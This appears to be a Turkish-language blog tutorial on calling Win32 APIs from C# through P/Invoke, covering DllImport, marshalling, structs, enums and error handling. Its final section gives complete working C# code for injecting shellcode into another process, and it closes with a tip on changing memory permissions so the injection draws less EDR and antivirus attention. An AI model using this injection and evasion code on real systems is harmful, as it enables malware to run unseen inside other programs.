1. P/Invoke Nedir?
Platform Invoke (P/Invoke), .NET uygulamalarının (Managed Code) DLL’lerde (Dynamic Link Library) barındırılan yönetilmeyen fonksiyonları (Unmanaged Code) çağırmasına olanak tanıyan bir hizmettir. Windows işletim sisteminin kalbi olan Win32 API’leri (kernel32.dll, user32.dll, vb.) bu yöntemle erişilebilir hale gelir.
Bir Win32 API fonksiyonunu C# içinde kullanabilmek için extern anahtar kelimesi ve [DllImport] özniteliği kullanılır.
using System;using System.Runtime.InteropServices; // P/Invoke için gereklidir
class Win32 { // MessageBox API'sinin tanımlanması [DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);}
- DllImport: Fonksiyonun hangi DLL dosyasında bulunduğunu belirtir.
- extern: Fonksiyonun gövdesinin dışarıda (DLL içinde) olduğunu belirtir.
- static: P/Invoke metodları her zaman statik olmalıdır.
2. Veri Tipleri ve Marshalling (Dönüştürme)
C# ve C/C++ farklı veri tipi tanımlarına sahiptir. P/Invoke işleminde bu tiplerin birbirine doğru şekilde dönüştürülmesi gerekir. Buna Marshalling denir.
| Windows Veri Tipi (C/C++) | C# Karşılığı (P/Invoke) | Açıklama |
|---|---|---|
HANDLE, void*, PVOID | IntPtr | Bellek adresleri veya handle’lar için kullanılır. |
DWORD, UINT | uint (veya int) | 32-bit işaretsiz tamsayı. |
BOOL | bool | Mantıksal doğru/yanlış. |
LPCSTR (ANSI String) | string | CharSet.Ansi ile kullanılır. |
LPCWSTR (Unicode String) | string | CharSet.Unicode ile kullanılır. |
LPVOID | IntPtr | Herhangi bir türe işaret eden pointer. |
String Marshalling
Windows API’lerinin genellikle iki versiyonu vardır: ANSI (sonu ‘A’ ile biten, örn: LoadLibraryA) ve Unicode (sonu ‘W’ ile biten, örn: LoadLibraryW).
// ANSI versiyonu için[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibraryA(string lpFileName);
//Unicode versiyonu için (Önerilen)
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
static extern IntPtr LoadLibraryW(string lpFileName);
İpucu
CharSet = CharSet.Auto kullanırsanız, çalışma zamanı platforma uygun olanı seçer ancak modern Windows sistemlerinde genellikle Unicode (W) tercih edilmelidir.
3. Yapılar (Structs) ve Enums
Win32 API’leri genellikle karmaşık parametreler için yapılar (struct) ve sabitler için Enum’lar kullanır. Bunların C# tarafında manuel olarak tanımlanması gerekir.
Struct Tanımlama
Struct’ların bellekteki düzeni önemlidir. [StructLayout(LayoutKind.Sequential)] kullanılarak alanların sıralı olması sağlanır.
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public bool bInheritHandle;}
Enum Tanımlama (Flags)
API parametreleri genellikle bit maskeleri kullanır. [Flags] özniteliği ile bu sabitleri okunabilir hale getirebiliriz.
[Flags]
public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, // ... diğer yetkiler}
4. Hata Yönetimi
Win32 API çağrıları başarısız olduğunda genellikle 0 (NULL) veya -1 dönerler ve hatanın nedenini GetLastError mekanizmasıyla saklarlar.
C# tarafında bu hatayı almak için:
DllImportiçindeSetLastError = trueayarlanmalıdır.- Hemen ardından
Marshal.GetLastWin32Error()çağrılmalıdır.
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);// Kullanımı:IntPtr hProcess = OpenProcess(0x10, false, 9999);if (hProcess == IntPtr.Zero) {
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine($"Hata oluştu. Hata Kodu: {errorCode}");}
5. Pratik Uygulama: “Process Injection” Zinciri
Siber güvenlikte sık kullanılan, bir hedef process’e shellcode enjekte edip çalıştırma işlemini P/Invoke ile adım adım gerçekleştirelim.
Adım 1: API Tanımları
using System;
using System.Runtime.InteropServices;
public class Win32Ops
{
// 1. Hedef Process'i açmak için
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
// 2. Hedef Process'te hafıza tahsis etmek için
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] public static extern IntPtr VirtualAllocEx(
IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
// 3. Tahsis edilen hafızaya shellcode yazmak için
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
// 4. Uzak Process'te thread oluşturup shellcode'u çalıştırmak için
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
// Gerekli Enum'lar
[Flags]
public enum ProcessAccessFlags : uint {
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x00000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400 }
[Flags]
public enum AllocationType : uint {
Commit = 0x1000,
Reserve = 0x2000,
Reset = 0x80000 }
[Flags]
public enum MemoryProtection : uint {
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ReadWrite = 0x04 }}
Adım 2: Enjeksiyon Kodu Uygulaması
Aşağıda standart bir shellcode enjeksiyonunun mantığı gösterilmiştir. (Not: Shellcode zararsız bir örnek, örn. hesap makinesini açan, olmalıdır. Burada temsili byte[] kullanılmıştır.)
public static void InjectShellcode(int targetProcessId, byte[] shellcode) {
// A. Hedef Process'i yetkili şekilde aç
// Gerekli yetkiler: CREATE_THREAD, VM_OPERATION, VM_WRITE, VM_READ, QUERY_INFORMATION
var accessRights = Win32Ops.ProcessAccessFlags.CreateThread |
Win32Ops.ProcessAccessFlags.VirtualMemoryOperation |
Win32Ops.ProcessAccessFlags.VirtualMemoryWrite |
Win32Ops.ProcessAccessFlags.VirtualMemoryRead |
Win32Ops.ProcessAccessFlags.QueryInformation;
IntPtr hProcess = Win32Ops.OpenProcess(accessRights, false, targetProcessId);
if (hProcess == IntPtr.Zero) {
Console.WriteLine($"Process açılamadı. Hata: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"Hedef Process'e handle alındı: 0x{hProcess.ToInt64():X}");
// B. Hedef Process'te hafıza ayır (Execute-Read-Write yetkisi ile - dikkat çekebilir!)
IntPtr allocMemAddress = Win32Ops.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length,
Win32Ops.AllocationType.Commit | Win32Ops.AllocationType.Reserve,
Win32Ops.MemoryProtection.ExecuteReadWrite);
if (allocMemAddress == IntPtr.Zero) {
Console.WriteLine($"Hafıza ayrılamadı. Hata: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"Hafıza ayrıldı: 0x{allocMemAddress.ToInt64():X}");
// C. Shellcode'u ayrılan hafızaya yaz
IntPtr bytesWritten;
bool writeSuccess = Win32Ops.WriteProcessMemory(hProcess, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);
if (!writeSuccess) {
Console.WriteLine($"Hafızaya yazılamadı. Hata: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"Shellcode hafızaya yazıldı ({bytesWritten} byte).");
// D. Yeni bir thread oluşturarak shellcode'u ateşle
IntPtr hThread = Win32Ops.CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, out IntPtr threadId);
if (hThread == IntPtr.Zero) {
Console.WriteLine($"Thread oluşturulamadı. Hata: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"Enjeksiyon başarılı! Thread ID: {threadId}");
}
Ekstra İpucu
DLL Hijacking Koruması: [DllImport] kullanırken DefaultDllImportSearchPaths özniteliğini kullanın. Bu, sistemin DLL’i sadece System32 gibi güvenli yollarda aramasını sağlar.[DllImport(“kernel32.dll”), DefaultDllImportSearchPaths(DllImportSearchPath.System32)]
Kötü Amaçlı Yazılım Analizi: VirtualAllocEx ile ExecuteReadWrite (RWX) izniyle hafıza açmak, EDR/Antivirüs yazılımları için büyük bir “kırmızı bayrak”tır. Daha gelişmiş tekniklerde önce ReadWrite (RW) olarak açıp yazdıktan sonra VirtualProtectEx ile ExecuteRead (RX) moduna çevirmek daha az dikkat çeker.
Kaynak:
pinvoke.net
Tavsiye Araç: CsWin32
Leave a Reply